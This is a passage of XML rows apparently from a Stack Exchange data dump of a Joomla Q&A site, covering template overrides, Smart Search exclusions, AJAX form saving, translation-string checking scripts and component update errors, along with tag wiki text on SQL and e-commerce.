  <row Id="4050" PostTypeId="4" CreationDate="2014-08-14T00:09:05.587" Score="0" Body="An HTTP cookie is a piece of data stored by the user's web browser. Unless otherwise specified, cookies can be created, read, modified and deleted both by JavaScript and from server-side through HTTP headers." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-14T01:32:42.410" LastActivityDate="2014-08-14T01:32:42.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4051" PostTypeId="1" AcceptedAnswerId="4052" CreationDate="2014-08-14T01:28:08.647" Score="8" ViewCount="4190" Body="&lt;p&gt;While trying to override the way the intro images are displayed in blog layout (I want to add a class to the images), I run into this code in &lt;code&gt;templates/MYTEMPLATE/html/com_content/category/blog_item.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JLayoutHelper::render('joomla.content.intro_image', $this-&amp;gt;item); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the best/correct way to override this and control how my intro-images are displayed?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-14T04:16:55.043" Title="Override blog intro image" Tags="|joomla-3.3.x|overrides|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4052" PostTypeId="2" ParentId="4051" CreationDate="2014-08-14T04:16:55.043" Score="9" Body="&lt;p&gt;You would want to match the path that you send as the first parameter within your template at &lt;code&gt;templates/*your_template*/html/layouts/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the example you listed of &lt;code&gt;&amp;lt;?php echo JLayoutHelper::render('joomla.content.intro_image', $this-&amp;gt;item); ?&amp;gt;&lt;/code&gt; copy the file currently at &lt;code&gt;layouts/joomla/content/intro_image.php&lt;/code&gt; to &lt;code&gt;templates/*your_template*/html/layouts/joomla/content/intro_image.php&lt;/code&gt; and it should use the version in your template instead of the default layout.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-08-14T04:16:55.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4053" PostTypeId="2" ParentId="4025" CreationDate="2014-08-14T09:49:28.047" Score="2" Body="&lt;p&gt;Apart of extending the core, there are a few extensions that allows extending joomla's content with custom fields.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-construction/18564&quot; rel=&quot;nofollow&quot;&gt;Fields Attach&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-construction/27155?qh=YToxOntpOjA7czo3OiJhaXhlZW5hIjt9&quot; rel=&quot;nofollow&quot;&gt;Aixeena CCK&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-construction/24580&quot; rel=&quot;nofollow&quot;&gt;Fields and Filters&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-construction&quot; rel=&quot;nofollow&quot;&gt;All CCK extensions Category in JED&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Otherwise, the suggestions and tutorials provided in the other answers will &quot;keep you going&quot;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-08-14T09:49:28.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4054" PostTypeId="1" AcceptedAnswerId="4060" CreationDate="2014-08-14T10:26:00.557" Score="3" ViewCount="8152" Body="&lt;p&gt;I was wondering if it's possible to exclude specific articles and/or categories from my smart search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I have a category named 'Uncategorised' that I would like to be 'non-searchable'. I also have an article called 'Mailing List' which is in the category 'Mailing', I would like this one specific article to be excluded from search also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a look at the option in the Smart Search plugin but can't find any?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this was possible with Joomla 2.5 by selecting Search - Content plugin &gt; 'No' for the Uncategorised Articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(update - a free option would be preferable if at all possible)&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2014-08-15T08:13:16.090" LastActivityDate="2015-12-28T10:38:18.153" Title="Exclude specific articles / categories from smart search" Tags="|joomla-3.3.x|smartsearch|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4055" PostTypeId="2" ParentId="4033" CreationDate="2014-08-14T14:34:32.707" Score="2" Body="&lt;p&gt;You should have a file called components/com_contactpay/controller.php This is the primary controller for your component. The class within the file should be called ContactPayController.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following construct function. It should look something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ContactPayController extends JControllerLegacy {&#xA;&#xA;    public function __construct(){&#xA;        if (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('view') == &quot;messages&quot;){&#xA;            JFactory::getApplication()-&amp;gt;redirect('index.php?option=com_contactpay&amp;amp;view=message');&#xA;        } else {&#xA;            parent::__construct();&#xA;        }&#xA;    }&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should handle the redirect for you before the controller looks for the messages view.&lt;/p&gt;&#xA;" OwnerUserId="291" LastActivityDate="2014-08-14T14:34:32.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4056" PostTypeId="2" ParentId="4054" CreationDate="2014-08-14T17:51:01.597" Score="3" Body="&lt;p&gt;&lt;strong&gt;Paid Option: &quot;Search Content Advanced&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should take a look at an extension called &quot;&lt;a href=&quot;http://extensions.joomla.org/extensions/search-a-indexing/site-search/19759&quot; rel=&quot;nofollow&quot;&gt;Search Content Advanced&lt;/a&gt;&quot;. I haven't used it myself, but it looks like it can do exactly the kind of filtering you're looking for. (It's not free, though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Free Option: Joomla Smart Search&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a quick look at the Joomla Smart Search function included in Joomla 3, maybe you can set up a filter that fits your needs, but it's not very intuitive. To create a Smart Search filter:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable the &lt;code&gt;Smart Search&lt;/code&gt; plugins from the Plugin manager. &lt;/li&gt;&#xA;&lt;li&gt;Go to Administrator -&gt; Components -&gt; Smart Search. Make sure you index your content at least once (&lt;code&gt;Index&lt;/code&gt; button on the toolbar).&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;Search Filters&lt;/code&gt; on the left side and create a new filter.&lt;/li&gt;&#xA;&lt;li&gt;You'll be able to set some filtering rules based on your content, but as far as I can see there's no &lt;code&gt;exclude&lt;/code&gt; function, only &lt;code&gt;include&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Save your filter, and create a Smart Search module (or menu item). You filter should be available in the &quot;Search Filter&quot; field.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bottom line:&lt;/strong&gt; The Search Content Advanced extension looks like a better option for your needs, it's a lot more flexible and easier to use than the Joomla Smart Search component.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="120" LastEditDate="2015-12-28T10:38:18.153" LastActivityDate="2015-12-28T10:38:18.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4057" PostTypeId="1" AcceptedAnswerId="4080" CreationDate="2014-08-14T22:26:24.837" Score="4" ViewCount="2369" Body="&lt;p&gt;I am trying to find the preferred way to save form data using joomla API methods. I am trying to save data with an ajax-call. First i tried just calling the components standard save method, calling: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_whatever&amp;amp;view=wdata&amp;amp;task=save // ...etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works, sort of, but I cannot find a way to verify the call actually worked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm trying to use the model functions from the new and very nice ajax-plugin in joomla 3.3, but I'm unsure what is the right approach. I can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onAjaxSaveWData(){&#xA;    if(!JSession::checkToken()) return 0; // checking the token&#xA;    $in=JFactory::getApplication-&amp;gt;input; &#xA;    $data=$in-&amp;gt;get('jform',array(),'ARRAY'); //this is unfiltered input?!&#xA;    JLoader::register('WhateverModelWData', $whatevermodelpath);&#xA;    $model = new WhateverModelWData();&#xA;    $model-&amp;gt;save($data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only problem with this approach is it's not working. The save function fails with an error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Call to a member function getKeyName() on a non-object in &#xA;     libraries/legacy/model/admin.php on line 1064&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In addition to this not working, it would have not filtered the data before insertion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would think &lt;code&gt;$model-&amp;gt;validate($model-&amp;gt;getForm(), $data)&lt;/code&gt; would do the trick, but also &lt;code&gt;$model-&amp;gt;getForm()&lt;/code&gt; fails miserably, so I'm stuck. Can anyone help me out? &lt;/p&gt;&#xA;" OwnerUserId="360" LastActivityDate="2014-08-26T20:06:07.753" Title="Writing custom method to save form data" Tags="|ajax|jform|model|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4058" PostTypeId="1" CreationDate="2014-08-15T07:08:59.360" Score="3" ViewCount="666" Body="&lt;p&gt;In my site I have 2 languages, norwegian and english. I'm developing a new component using a component creator, but I'm facing a problem with the translation: The english language files are updated with new lines, while I manually update the norwegian translation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In previous versions of Joomla it was quite easy to spot missing strings, as the translation constant would always be displayed. However, starting from joomla 3.2 ( &lt;a href=&quot;http://docs.joomla.org/Specification_of_language_files&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Specification_of_language_files&lt;/a&gt; ) english translation is always used as fallback if the correct language string is not found. So now, to manually find the missing string, I have to search the english translation file for the displayed value, and for each hit in this search, check if the translation constant exists in the norwegian language file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully there is there a better way to locate missing translation strings, can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="360" LastActivityDate="2014-08-15T16:11:55.760" Title="Identify and locate missing translation strings in joomla 3" Tags="|joomla-3.x|translation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4059" PostTypeId="2" ParentId="4058" CreationDate="2014-08-15T10:07:59.820" Score="1" Body="&lt;p&gt;I can't think of any &amp;quot;joomla way&amp;quot; to do this. This looks mostly of how you would organize your development process.&lt;/p&gt;&#xA;&lt;p&gt;So, since during the development, newer and newer language strings may be available, I would focus on completing the English language xml, and when done, I would copy it (duplicate) to create the relatives for the other languages and translate them on the xml.&lt;/p&gt;&#xA;&lt;h3&gt;Short of update:&lt;/h3&gt;&#xA;&lt;p&gt;For the incomplete language files and to find what is missing, instead of writing a script, you could copy - paste them in an excel, and sort them alphabetically or in any other order you can find it convenient for comparison. Then you can easily spot what CONSTANTS are missing from the other languages files.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-08-15T13:36:19.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4060" PostTypeId="2" ParentId="4054" CreationDate="2014-08-15T10:08:22.607" Score="5" Body="&lt;p&gt;The smart search component does an index of your sites pages, so makes a new list just to search from. The normal search searches your live articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means you can go in to the index and remove pages you dont want. So look on this page and tick and delete the pages you dont want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;YOURWEBSITE.. /administrator/index.php?option=com_finder&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also tell it which categories not to index in the first place. In Content Maps you can click on &quot;Categories&quot; link and then untick on the right the ones you dont want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;YOURWBSITE... /administrator/index.php?option=com_finder&amp;amp;view=maps&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I for example only ever index articles and not tags and categories so i remove those options.&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2014-08-15T10:08:22.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4062" PostTypeId="1" AcceptedAnswerId="4063" CreationDate="2014-08-15T10:51:07.737" Score="1" ViewCount="1507" Body="&lt;p&gt;I have set user registration to 'Admin' on one of my client websites. There are a number of people responsible for verifying users and clicking the activation approval link. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The activation works fine and is in the following format;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.example.com/component/rsform/form/4-user-registration?task=plugin&amp;amp;action=user.activate&amp;amp;token=959da6ce849ef5a2cf000818a9407062&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/component/rsform/form/4-user-registration?task=plugin&amp;amp;action=user.activate&amp;amp;token=959da6ce849ef5a2cf000818a9407062&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However they have mentioned that if they try to click the link after somebody else has already verified the user they receive:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error 403 - verification code not found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means that the user has already been verified by another employee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is totally normal and what's supposed to happen I understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question - is there a way of changing this error and displaying something like &lt;em&gt;'This user has already been verified on xx-xx-xxxx'&lt;/em&gt; Or something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using RSForms Pro extension for user registration form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I asked RSForms if it's an issue with their plugin and this is their response;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is not something that is controlled from the component, but a&#xA;  default Joomla! functionality/error message. In order to change this&#xA;  message you will most likely need to edit the default Joomla! code,&#xA;  unfortunately this exceeds the range of our support policy.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I would need to edit core code?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="159" LastEditDate="2014-08-18T13:02:47.843" LastActivityDate="2014-08-18T13:02:47.843" Title="User Verification Link / Message" Tags="|registration|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4063" PostTypeId="2" ParentId="4062" CreationDate="2014-08-15T13:02:02.390" Score="2" Body="&lt;p&gt;To only change the message, you only have to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Visit Extensions / Language Manager / Overrides&lt;/li&gt;&#xA;&lt;li&gt;New&lt;/li&gt;&#xA;&lt;li&gt;Language Constant: COM_USERS_ACTIVATION_TOKEN_NOT_FOUND&lt;/li&gt;&#xA;&lt;li&gt;Text: This user has already been verified&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To add the date of previous activation, it's not directly possible, since it's processed by a com_users controller and an associated model. In the case of the error, the controller just shows the label, registration.php, line 51:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Check for a valid user id.&#xA;    if (!$userId) {&#xA;        $this-&amp;gt;setError(JText::_('COM_USERS_ACTIVATION_TOKEN_NOT_FOUND'));&#xA;        return false;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-08-15T13:02:02.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4064" PostTypeId="2" ParentId="4058" CreationDate="2014-08-15T13:45:10.020" Score="3" Body="&lt;p&gt;I have a couple of fealty (linux) scripts to ease the pain of keeping language files updated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To extract tags from a component:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;&#xA;find .../TEMP/com_mycomponent -name &quot;*.php&quot; | xargs grep -o 'COM_MYCOMPONENT_[A-Z0-9\_]\+' | cut -d':' -f2 | sort -u &amp;gt; tags&#xA;find .../TEMP/com_mycomponent -name &quot;*.xml&quot; | xargs grep -o 'COM_MYCOMPONENT_[A-Z0-9\_]\+' | cut -d':' -f2 | sort -u &amp;gt;&amp;gt; tags&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To check for duplicates, missing tags or content differences:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Duplicated check&#xA;&#xA;$ini_file = file_get_contents(&quot;es-ES.com_mycomponent.ini&quot;);&#xA;$ini_lines = explode(&quot;\n&quot;, $ini_file);&#xA;$duplicated = array();&#xA;&#xA;foreach ($ini_lines as $line)&#xA;{&#xA;    $parts = explode('=', $line);&#xA;&#xA;    if (count($parts) != 2)&#xA;    {&#xA;        continue;&#xA;    }&#xA;&#xA;    $k = $parts[0];&#xA;    $v = $parts[1];&#xA;&#xA;    if (array_key_exists($k, $duplicated))&#xA;    {&#xA;        echo 'DUPLICATED: ' . $k . '=' . $duplicated[$k] . &quot;\n&quot;;&#xA;        echo 'DUPLICATED: ' . $k . '=' . $v . &quot;\n&quot;;&#xA;    }&#xA;    else&#xA;    {&#xA;        $duplicated[$k] = $v;&#xA;    }&#xA;}&#xA;&#xA;// Parse without sections&#xA;$ini_array1 = parse_ini_file(&quot;en-GB.com_mycomponent.ini&quot;);&#xA;$ini_array2 = parse_ini_file(&quot;es-ES.com_mycomponent.ini&quot;);&#xA;&#xA;$ini_array1k = array_keys($ini_array1);&#xA;$ini_array2k = array_keys($ini_array2);&#xA;&#xA;$results = array_diff($ini_array1k, $ini_array2k);&#xA;&#xA;foreach ($results as $result)&#xA;{&#xA;    echo $result . &quot;=\&quot;&quot; . $ini_array1[$result] . &quot;\&quot;\n&quot;;&#xA;}&#xA;&#xA;if (count($results) == 0)&#xA;{&#xA;    foreach ($ini_array1k as $key)&#xA;    {&#xA;        $cpo1 = substr_count($ini_array1[$key], '%');&#xA;        $cpo2 = substr_count($ini_array2[$key], '%');&#xA;&#xA;        $cpe1  = substr_count($ini_array1[$key], '$');&#xA;        $cpe2  = substr_count($ini_array2[$key], '$');&#xA;&#xA;        $cpbo1  = substr_count($ini_array1[$key], '{');&#xA;        $cpbo2  = substr_count($ini_array2[$key], '{');&#xA;&#xA;        $cpbc1  = substr_count($ini_array1[$key], '}');&#xA;        $cpbc2  = substr_count($ini_array2[$key], '}');&#xA;&#xA;        $cpme1  = substr_count($ini_array1[$key], '&amp;lt;');&#xA;        $cpme2  = substr_count($ini_array2[$key], '&amp;lt;');&#xA;&#xA;        $cpma1  = substr_count($ini_array1[$key], '&amp;gt;');&#xA;        $cpma2  = substr_count($ini_array2[$key], '&amp;gt;');&#xA;&#xA;        $cpqqq1  = substr_count($ini_array1[$key], 'QQQ');&#xA;        $cpqqq2  = substr_count($ini_array2[$key], 'QQQ');&#xA;&#xA;        if (($cpo1 != $cpo2) || ($cpe1 != $cpe2) || ($cpbo1 != $cpbo2) || ($cpbc1 != $cpbc2) || ($cpma1 != $cpma2) || ($cpme1 != $cpme2) || ($cpqqq1 != $cpqqq2))&#xA;        {&#xA;            echo 'ERROR: ' . $key . &quot;=\&quot;&quot; . $ini_array1[$key] . &quot;\&quot;\n&quot;;&#xA;            echo 'ERROR: ' . $key . &quot;=\&quot;&quot; . $ini_array2[$key] . &quot;\&quot;\n\n&quot;;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-08-15T13:45:10.020" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4065" PostTypeId="2" ParentId="4058" CreationDate="2014-08-15T16:11:55.760" Score="1" Body="&lt;p&gt;You may want to have a look at &lt;code&gt;com_localise&lt;/code&gt;. It's an extension meant to translate Joomla core and extensions within Joomla itself.&#xA;You can get it at the repo: &lt;a href=&quot;https://github.com/joomla-projects/com_localise&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla-projects/com_localise&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's currently reworked hard, but from my understanding it should work quite well.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-08-15T16:11:55.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4066" PostTypeId="1" AcceptedAnswerId="4067" CreationDate="2014-08-15T20:31:25.117" Score="2" ViewCount="124" Body="&lt;p&gt;I have been working on a component but noticed when I update it I get an error (something like &quot;Component Update: DB error file function returned no error&quot;, not exact but close).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice this is due to the rows in the extension table (only the extension table). Deleting them fixes it. But that is basically &quot;uninstalling&quot; the component without removing its files/data (other then config), so its really not an option to do a preflight script and do that on update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the nature of the component I have a library that installs beside it, so I used F0F's installerscript tool (and extended it since it has no option to install libraries). F0F has a function called &lt;code&gt;bugfixDBFunctionReturnedNoError()&lt;/code&gt; Which fixes the error using the technique described above. However its made to do it in install in case it was uninstalled and left anything remaining. But i need it done on update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some changes to the installer script to make it run on update as well and it is working with that. However it is not the way around this problem, any thoughts on this?&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="159" LastEditDate="2014-08-16T14:01:59.027" LastActivityDate="2019-02-03T01:45:11.983" Title="Component Update: DB error file function returned no error" Tags="|component|sql|fof|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4067" PostTypeId="2" ParentId="4066" CreationDate="2014-08-15T21:21:38.790" Score="2" Body="&lt;p&gt;Figured out the issue, when making a component you need to have at least 1 blank update sql file or it will fail. Not just the typical index.html file to make sure then installer does not skip the folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically the file would be something like &lt;code&gt;sql/updates/mysql/VERSION.sql&lt;/code&gt; Replacing version with the actual needed version. I am confident this is a bug, it should not require an sql file on update but it is not urgent if it is, either that or there is something else I am missing.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-08-15T21:21:38.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4068" PostTypeId="5" CreationDate="2014-08-15T21:47:31.873" Score="0" Body="&lt;p&gt;SQL, generally pronounced sequel, is an acronym that stands for &lt;em&gt;&lt;strong&gt;Structured Query Language&lt;/strong&gt;&lt;/em&gt; (not &lt;em&gt;Standardized&lt;/em&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One subset of the SQL standard consists of the  &lt;strong&gt;DDL&lt;/strong&gt; - &lt;em&gt;Data Definition Language&lt;/em&gt; which is used to create tables and constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;e.g:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;CREATE&lt;/li&gt;&#xA;&lt;li&gt;DROP&lt;/li&gt;&#xA;&lt;li&gt;ALTER&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Another subset is the &lt;strong&gt;DML&lt;/strong&gt; - Data manipulation language&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;e.g.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;SELECT&lt;/li&gt;&#xA;&lt;li&gt;INSERT&lt;/li&gt;&#xA;&lt;li&gt;UPDATE&lt;/li&gt;&#xA;&lt;li&gt;DELETE&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The final &quot;standard&quot; subset of commands is the &lt;strong&gt;DCL&lt;/strong&gt; - Data Control Language &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;e.g.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;GRANT &lt;/li&gt;&#xA;&lt;li&gt;REVOKE&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Free SQL Programming Books&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cs.arizona.edu/people/rts/publications.html&quot; rel=&quot;nofollow&quot;&gt;Developing Time-Oriented Database Applications in SQL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://use-the-index-luke.com/&quot; rel=&quot;nofollow&quot;&gt;Use The Index, Luke!: A Guide To SQL Database Performance&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sql.learncodethehardway.org/&quot; rel=&quot;nofollow&quot;&gt;Learn SQL The Hard Way&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.w3schools.com/sql/default.asp&quot; rel=&quot;nofollow&quot;&gt;SQL Tutorial For Starters&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.computer-books.us/sql.php&quot; rel=&quot;nofollow&quot;&gt;SQL - Free books&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0735663866&quot; rel=&quot;nofollow&quot;&gt;Microsoft SQL Server 2012 Step by Step&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Free SQL/Database online courses&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://class.coursera.org/db/auth/auth_redirector?type=login&amp;amp;subtype=normal&quot; rel=&quot;nofollow&quot;&gt;Coursera-Introduction to Databases&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.google.com.pk/search?q=stanford+database+course&amp;amp;oq=stanford+database+course&amp;amp;aqs=chrome..69i57j0l5.8288j0j7&amp;amp;sourceid=chrome&amp;amp;espv=2&amp;amp;es_sm=122&amp;amp;ie=UTF-8&quot; rel=&quot;nofollow&quot;&gt;Stanford Online-DB: Introduction to Databases&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-16T21:59:27.960" LastActivityDate="2014-08-16T21:59:27.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4069" PostTypeId="4" CreationDate="2014-08-15T21:47:31.873" Score="0" Body="Structured Query Language (SQL) is a language for querying databases." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-16T21:59:30.687" LastActivityDate="2014-08-16T21:59:30.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4070" PostTypeId="5" CreationDate="2014-08-15T22:59:05.030" Score="0" Body="&lt;p&gt;Electronic commerce, commonly known as e-commerce, eCommerce or e-comm, refers to the buying and selling of products or services over electronic systems such as the Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electronic commerce also includes the entire online process of developing, marketing, selling, delivering, servicing and paying for products and services. Usually, e-commerce is related with e-payment in-which money transfer is done electronically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details, please visit &lt;a href=&quot;http://en.wikipedia.org/wiki/Electronic_commerce&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most popular e-commerce systems (&lt;a href=&quot;/questions/tagged/component&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;component&amp;#39;&quot; rel=&quot;tag&quot;&gt;component&lt;/a&gt;'s) for Joomla include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://virtuemart.net/&quot; rel=&quot;nofollow&quot;&gt;Virtuemart&lt;/a&gt; (not available for Joomla 3.x)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.webdesigner-profi.de/joomla-webdesign/joomla-shop.html&quot; rel=&quot;nofollow&quot;&gt;JoomShopping&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hikashop.com/&quot; rel=&quot;nofollow&quot;&gt;HikaShop&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://j2store.org&quot; 